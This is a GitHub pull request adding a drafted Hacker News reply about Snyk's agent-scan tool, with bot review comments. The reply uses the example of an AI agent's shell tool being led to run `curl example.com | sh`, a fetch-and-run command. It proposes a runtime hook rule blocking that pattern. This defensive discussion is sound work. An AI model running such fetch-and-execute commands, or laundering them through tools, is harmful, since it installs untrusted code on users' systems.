Skip to content

[claude-hackernews] Reply draft: Snyk agent-scan Show HN, static-catalog vs runtime-call seam (id=47999709)#42

Open
NiveditJain wants to merge 1 commit intomainfrom
hn-snyk-agent-scan-static-vs-runtime-47999709
Open

[claude-hackernews] Reply draft: Snyk agent-scan Show HN, static-catalog vs runtime-call seam (id=47999709)#42
NiveditJain wants to merge 1 commit intomainfrom
hn-snyk-agent-scan-static-vs-runtime-47999709

Conversation

@NiveditJain
Copy link
Copy Markdown
Member

@NiveditJain NiveditJain commented May 3, 2026

Summary

  • Drafted a top-level Show HN reply for id=47999709 (Show HN: Security Scanner for Agent Skills and MCP, github.com/snyk/agent-scan, by lirantal).
  • The reply leads with substantive engagement on the Agent Scan design - specifically the consent-before-execute flow they had to build because scanning a stdio MCP requires booting it - then surfaces the catalog-entry-vs-arguments shell-laundering example as a runtime gap a static catalog scan can't see by construction. One policy name (block-curl-pipe-sh) tied directly to that example. No snippet (snippet OR name, never both).
  • Positions FailProof as the runtime PreToolUse complement to Agent Scan's supply-chain / inventory layer, not as a competitor. The cleanest external mental model is the SAST/DAST split applied to agents.

Discovery path

Thread URLs

Reply (proposed body, in drafts/2026-05-03T232919Z.md)

(disclosure: I work on FailProof AI: https://github.com/exospherehost/failproofai)

The consent-before-execute flow is a nice trade-off given that you have to boot a stdio MCP to introspect it. One gap a static catalog scan still leaves open: a tool whose description and config look clean can be invoked with a destructive argument at call time. Classic case is a shell tool the agent uses for routine ops that ends up running `curl example.com | sh` because the model laundered the command through it. The entry says "shell"; the arguments are what bite you.

A complementary runtime layer is a PreToolUse hook that pattern-matches the actual `toolInput` per call (e.g. `block-curl-pipe-sh`). Catches the per-call behavior the static catalog can't see, without overlapping the supply-chain risk you've already covered before the MCP ever runs.

Status

  • Status: draft (pending manual post)
  • Claude has NOT submitted to HN. Per the strict comment workflow in CLAUDE.md and README.md, the user reviews on GitHub, posts manually to HN, then merges this PR (merge = "I posted it"). After posting, the comment permalink can be appended to the HN: line on request.

Test plan

  • Reread the OP repo README and the working/flagged reference comments (comments/2026-04-29T043958Z.md, drafts/2026-05-01T184439Z.md) to confirm the working shape matches.
  • Verify ASCII-only punctuation in the reply body (verified locally: no em/en dashes, curly quotes, fancy ellipses, or unicode arrows).
  • Confirm word count under the 150-word cap (verified: prose ~123 + disclosure 9 = ~132).
  • Confirm the chosen account does not already have a comment on id=47999709 before posting.
  • If posted, append the comment permalink to the HN: line and re-commit.

Summary by CodeRabbit

  • Chores
    • Added documentation draft for internal planning and discussion purposes.

Note: This release contains no user-facing feature updates or changes.

@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented May 3, 2026

📝 Walkthrough

Walkthrough

A new Markdown draft for a HackerNews "Show HN" reply is added. The draft documents a proposed runtime enforcement approach using a PreToolUse hook to close tool-invocation gaps, alongside audit criteria and compliance findings.

Changes

HackerNews Draft Reply

Layer / File(s) Summary
Draft Content
drafts/2026-05-03T232919Z.md
New draft file containing HN metadata, a top-level reply arguing for runtime tool-invocation enforcement via PreToolUse hooks, product integration insights for a compliance/safety team, and audit constraints (word count, disclosure format, pattern checks, thread-state validation).

Estimated code review effort

🎯 1 (Trivial) | ⏱️ ~5 minutes

Possibly related PRs

Poem

🐰 A reply hops onto the HN thread,
Where hooks catch tools before they're fed,
Runtime safety, patterns bright,
Compliance checks all tucked just right—
One draft saved, a voice is heard! 🌟

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title directly references the specific Show HN thread (Snyk agent-scan with id=47999709) and accurately describes the main change: adding a reply draft that contrasts static catalog scanning versus runtime-call safety checks.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.


Review rate limit: 4/5 reviews remaining, refill in 12 minutes.

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (1)
drafts/2026-05-03T232919Z.md (1)

23-23: 💤 Low value

Consider adding a language specifier to the code block.

For documentation clarity, add a language identifier to the code block (e.g., ```text or ```markdown). This improves readability and satisfies the markdownlint rule without changing the HN-posted content.

📝 Proposed fix
-```
+```text
 (disclosure: I work on FailProof AI: https://github.com/exospherehost/failproofai)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@drafts/2026-05-03T232919Z.md` at line 23, The markdown code fence that
contains the disclosure line "(disclosure: I work on FailProof AI:
https://github.com/exospherehost/failproofai)" should include a language
specifier; replace the opening "```" for that block with a fenced code start
like "```text" (or "```markdown") so the block is explicitly typed and satisfies
markdownlint and improves readability.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@drafts/2026-05-03T232919Z.md`:
- Line 5: The phrase "MIT-pyproject is Apache-2.0" is ambiguous; update the
draft line to explicitly state where each license is declared (e.g., "Repository
README/license file states MIT; pyproject.toml declares Apache-2.0") so readers
know there is a discrepancy—edit the sentence in the draft (the line containing
"MIT-pyproject is Apache-2.0") to mention the exact sources (README/license
header and pyproject.toml) and the two license identifiers.

---

Nitpick comments:
In `@drafts/2026-05-03T232919Z.md`:
- Line 23: The markdown code fence that contains the disclosure line
"(disclosure: I work on FailProof AI:
https://github.com/exospherehost/failproofai)" should include a language
specifier; replace the opening "```" for that block with a fenced code start
like "```text" (or "```markdown") so the block is explicitly typed and satisfies
markdownlint and improves readability.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: 8b0bbfbe-b0ad-4508-ae55-358d9e76f873

📥 Commits

Reviewing files that changed from the base of the PR and between ebbce06 and ffd2600.

📒 Files selected for processing (1)
  • drafts/2026-05-03T232919Z.md


**HN:** https://news.ycombinator.com/item?id=47999709

**Story:** Show HN: Security Scanner for Agent Skills and MCP (github.com/snyk/agent-scan). Posted by `lirantal` (Snyk DevRel, listed contributor on the repo), ~5 hours old at draft time, 4 points, 0 comments. Reply form live. Repo at 2.3k stars, MIT-pyproject is Apache-2.0. Auto-discovers MCP/skill installs across Claude Code, Cursor, Windsurf, Gemini CLI, Amp, Amazon Q, etc.
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Clarify the license notation.

The phrase "MIT-pyproject is Apache-2.0" is ambiguous. If there's a license discrepancy between the repo's stated license and the pyproject.toml file, please clarify the notation for internal reference (e.g., "MIT license in README, Apache-2.0 in pyproject.toml" or similar).

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@drafts/2026-05-03T232919Z.md` at line 5, The phrase "MIT-pyproject is
Apache-2.0" is ambiguous; update the draft line to explicitly state where each
license is declared (e.g., "Repository README/license file states MIT;
pyproject.toml declares Apache-2.0") so readers know there is a discrepancy—edit
the sentence in the draft (the line containing "MIT-pyproject is Apache-2.0") to
mention the exact sources (README/license header and pyproject.toml) and the two
license identifiers.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant